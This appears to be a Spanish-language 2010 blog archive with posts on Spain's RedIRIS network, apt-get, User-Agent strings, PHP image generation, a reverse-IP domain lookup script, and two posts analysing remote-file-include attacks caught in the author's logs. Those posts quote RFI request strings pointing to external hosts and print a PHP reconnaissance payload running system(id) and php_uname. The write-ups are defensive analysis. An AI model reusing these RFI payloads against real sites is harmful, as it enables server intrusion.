18 de abril de 2010

Redes publicas en España

España como todos los países posé una infraestructura pública (Gestionada por Red.es) para Internet que permite a las distintas administraciones y empresas conectarse con el resto del mundo y entre sí.

La principal red española es RedIRIS.

Cito:
RedIRIS es la red académica y de investigación española y proporciona servicios
avanzados de comunicaciones a la comunidad científica y universitaria nacional.
Está financiada por el Ministerio de Ciencia e Innovación, e incluida en su
mapa de Instalaciones Científico Tecnológicas Singulares. Se hace cargo de su
gestión la entidad pública empresarial Red.es, del Ministerio de Industria,
Turismo y Comercio.

A continucación podéis ver el mapa de red de RedIRIS

Os recuerdo que esta infraestructura es la relativa a RedIRIS y que no tiene que ver con las redes privadas que seguramente sean más extensas, y que abría que analizar por separado, para ver el impacto real sobre la velocidad final del usuario.

Existen dos nodos españones de intercambio, Espanix y Catnix que interconectan la red pública con nodos privados.

Para poder ver esto desde un punto de vista de los nodos de red (los enrrutadores de internet) podemos visitar las gráficas que genera robtex sobres estos nodos. El Nodo de RedIRIS está identificado como AS776, el de Espanix como AS6895 y Catnix como AS13041.

No solo la comunidad autónoma de Cataluña gestiona su infraestructura de red, la comunidad Andaluza tambien gestiona su red. No he podido encontrar otras comunidades que gestionen sus redes, si sabéis de alguna otra os invito a que comentéis este post.

Pero esta red pública se conecta con otros nodos públicos y privados que permiten la interconexión con el resto del mundo.


Las conexiones internacionales que tiene españa con el resto del mundo son:
Con América por Panamá y Brasil (622Mbps).
Con Africa por Argelia (155Mb).
Con Asia por India (2,5Gbps).
Con Europa por Portugal (10Gbps), Italia (10Gbps), Francia (10Gbps) y Suiza (Fibra oscura).

Documentación:
Redes Nacionales
Conexiones Europeas
Conexiones Internacionales
Conexiones en el mediteraneo
Conexiones con Suramérica

13 de abril de 2010

Examinando un ataque parado por SaveBot

Vamos a ver el último ataque que parado por SaveBot:

El atacante tenia la ip: 222.122.197.xxx y se conectó desde el puerto 33302.

El atacante procedía de Korea, de un hosting koreano con 114 hosting virtuales.

El User-Agent usado ha sido "libwww-perl/5.79", por lo que SaveBot lo ha detenido.

El ataque:
cat=5///vwar/backup/errors.php?error=http://xxxxxxxxxxx.com/images/kontol.txt?

El dominio está registrdo en Ucrania y el hosting (91.196.0.xxx) también se encuentra alli.

El contenido de "kontrol.txt" es:
<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number);
}
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024);
}
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024);
}
return sprintf("%0.2f Gb", $number/1024/1024/1024);
}

echo "Coracore<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {
$free = 0;
}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {
$all = 0;
}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "Coracore<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

El resultado mostraría algo así:
Coracore
Coracore
uname -a: @php_uname();
os: @PHP_OS;
id: system(id)
free: diskfreespace(@getcwd())
used: ConvertBytes($all1-$free1)
total: disk_total_space(@getcwd())

Este ataque permite mostrar los datos del servidor facilitando un futuro ataque.

24 de marzo de 2010

Primeros ataques del año, esta vez RFI

Como ya ocurriera en el post "Primeros ataques, siguiendo el rastro", recientemente he revisado mis log y he detectado varios ataque automatizados. En esta ocasión solo buscaban fallos RFI (remote file include).

El día 2010/03/19 a las 16:52:15 desde 95.110.224.XXX (Italia)
Petición: “?p=153//errors.php?error=www.xxxxxxxxxxx.or.kr/id?″
User-Agent: libwww-perl/5.805
Intentaba incluir un código alojado en una web coreana con IP 211.202.2.XXX

El día 2010/03/12 a las 03:00:35 desde 187.40.43.XXX (Brasil)
Petición: “?p=http://www.xxxxxxxxxxx.net/id.txt??″
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Intentaba incluir un código alojado en una web italiana con IP 213.217.147.XXX

El día 2010/03/07 a las 22:00:13 desde 64.186.137.XXX (EEUU)
Petición: “?p=ftp://xxxuserxxx:xxxpassxxx@ftp.xxxxxxxxxxx.com.br/SenderMail.php?″
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Intentaba incluir un código alojado en un ftp brasileño con IP 200.149.77.XXX, claro para poder acceder deja su usuario y clave.

Solo uno de estos ataques ha sido "parado" por mi herramienta Save Bot, dado que no estaba incorporada la "firma" para ese user-agent (Indy Library).

Ya la he añadido en mi beta personal y la nueva versión estará proximamente disponible.

23 de marzo de 2010

WebSearch usando "you get signal"

Recientemente he visto en Pentest.es un programa que dada un IP o lista de IPs busca los dominios que le pertenecen.

Para este objetivo hace uso de el API de Bing. Me ha parecido muy buena idea, y yo he creado una función que realiza lo mismo. Desde aquí invito a que añadan a WebSearch si les gusta.

Esta utilidad hace uso de YouGetSignal para obtener los datos de dominios.
'''
@license: LGPL [http://www.gnu.org/licenses/lgpl.html]
@author: ehooo [ehooo[de]rollanwar[punto]net]
'''
import json, httplib, urllib

def search_you_get_signal(ip):
params = urllib.urlencode({'remoteAddress': ip, 'key': ""})
connection = httplib.HTTPConnection("www.yougetsignal.com")
headers = {"Host":"www.yougetsignal.com",\
"User-Agent":"WebSearch (YouGetSignal version)",\
"Accept":"*/*",\
"X-Requested-With":"XMLHttpRequest",\
"X-Prototype-Version":"1.6.0",\
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"}
url = "/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php"

connection.request("POST", url, params, headers)
response = connection.getresponse()
lista = []
if response.status is httplib.OK:
json_response = response.read()
json_parse = json.loads(json_response)
if 'domainArray' in json_parse:
for (domain, desc) in json_parse['domainArray']:
lista.append(domain)
else:
print "ERROR:"
print json_parse
else:
print "ERROR:"
print response.getheaders()
return lista

if __name__ == '__main__':
import getopt, sys
try:
opts, args = getopt.getopt(sys.argv[1:], "i:", ["ip="])
except getopt.error, msg:
print msg
print sys.argv[0] + " [ -i | --ip= ]"
exit(2)

ip = None
for o, a in opts:
if o in ("-i", "--ip"):
ip = a

if ip is None:
print sys.argv[0] + " [ -i | --ip= ]"
exit(1)

list_domain = search_you_get_signal(ip)
for domain in list_domain:
print domain


UPDATE: cambiado el nombre "list" por "lista" by david G.

22 de marzo de 2010

Un poco de APT-get

APT son las siglas de Advanced Packaging Tool (Herramienta Avanzada de Empaquetado). Esta herramienta permite al administrador del sistema, gestionar los paquetes de su sistema Linux. APT simplifica en gran medida la instalación y eliminación de programas en los sistemas GNU/Linux.

La principal utilidad de este servicio es el comando apt-get, que nos permite instalar, actualizar y eliminar paquetes y programas descargando también las dependencias necesarias.

No confundir con Advanced Persistent Threats (APT también) que es una categoría de crimeware dirigido a las empresas.

APT usa una lista de repositorios alojada en "/etc/apt/sources.list" desde donde se indica la ubicación y los paquetes necesarios para la instalación de un programa. Cada distribución Linux basada en Debian suele tener su propia lista de repositorios.

Antes de instalar o actualizar recomiendo ejecutar:

apt-get update

Este comando actualiza la lista de paquetes, de este modo aseguras descargar la última versión.

  • Instalar:
    # apt-get install <paquete>

    Reinstalar:
    # apt-get --reinstall install <paquete>


  • Actualizar (-u Muestra los paquetes que se actualizarán):
    # apt-get -u upgrade

    Actualizar distribución:
    # apt-get -u dist-upgrade


  • Eliminar:
    # apt-get remove <paquete>

    También ficheros de configuración.:
    # apt-get --purge remove <paquete>

    Eliminar paquetes no usados (todo excepto los archivos "lock")
    # apt-get clean



NOTA: Archivos "lock":
/var/cache/apt/archives/
/var/cache/apt/archives/partial/

Documentación:
http://www.debian.org/doc/manuals/apt-howto/index.es.html
http://es.wikipedia.org/wiki/Advanced_Packaging_Tool

16 de febrero de 2010

Conociendo el sistema de quien accede a la web

Existen múltiples sitios web que te muestran tu sistema y tu navegador, pero ¿como lo descubren?.

Conocer el sistema y navegador de quien accede a un sitio web es fácil de descubrir usando el valor "User-Agent" que está definido en el protocolo HTTP.

Este tag es usado para indicar que agente está accediendo a la web.

A continuación podéis ver unos cuantos ejemplos:
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB0.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Firefox/3.5.7
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; es-ES; rv:1.9.2) Gecko/20100115 Firefox/3.6
Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A542a Safari/419.3
Opera/9.80 (Windows NT 6.0; U; es-LA) Presto/2.5.21 Version/10.50
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)

Como podeis observar es simple ver el sistema y navegador de quien accede a el sitio web.

Los dos últimos agentes pertenecen a los motores de búsqueda Google y Yahoo!.

En muchas ocasiones las barras de descarga y otros componentes modifican el User-Agent para que cuando se acceda a un sitio con alguna tecnología el servidor sepa como actuar.

13 de febrero de 2010

Generación dinámica de imagenes en PHP

PHP es un lenguaje de programación que nos permite generar imágenes de forma dinámica.

La generación de imágenes dinámicas puede ser muy util para hacer Captchas, pero en el ejemplo del código a continuación vamos ha ver varias de las funciones que creo más interesantes para esto.
Header("Content-type: image/jpeg");
//Obtenemos la imagen de fondo
$img_fondo = imagecreatefromjpeg("fondo.jpg");

//Obtenemos la imagen para insertar
$img = imagecreatefromjpeg('img.jpg');
$claridad = 100;
imagecopymerge($img_fondo, $img, 40, 40, 0, 0, imagesx($img), imagesy($img), $claridad);

//Escribiendo en texto plano
$texto = "Esto es un texto sin Fuente";
$orange = imagecolorallocate($img_fondo, 220, 210, 60);
$mitad = (imagesx($img_fondo)-7.5 * strlen($texto))/2;
imagestring($img_fondo,5,$mitad,80,$texto,$orange);

//Escribiendo en texto con fuente
$font = './fuente.ttf';
$tam = 20;
$rotado = 0;
$texto = "Text TTF";
$mitad = (imagesx($img_fondo)-7.5 * strlen($texto))/2;
imagettftext($img_fondo, $tam, $rotado, $mitad, 120, $orange, $font, $texto);

imagejpeg($img_fondo);
imagedestroy($img_fondo);

Este código dá como resultado algo similar a lo siguiente:
Imagen generada con el codigo anterior

Podeis mirar más información en la web de PHP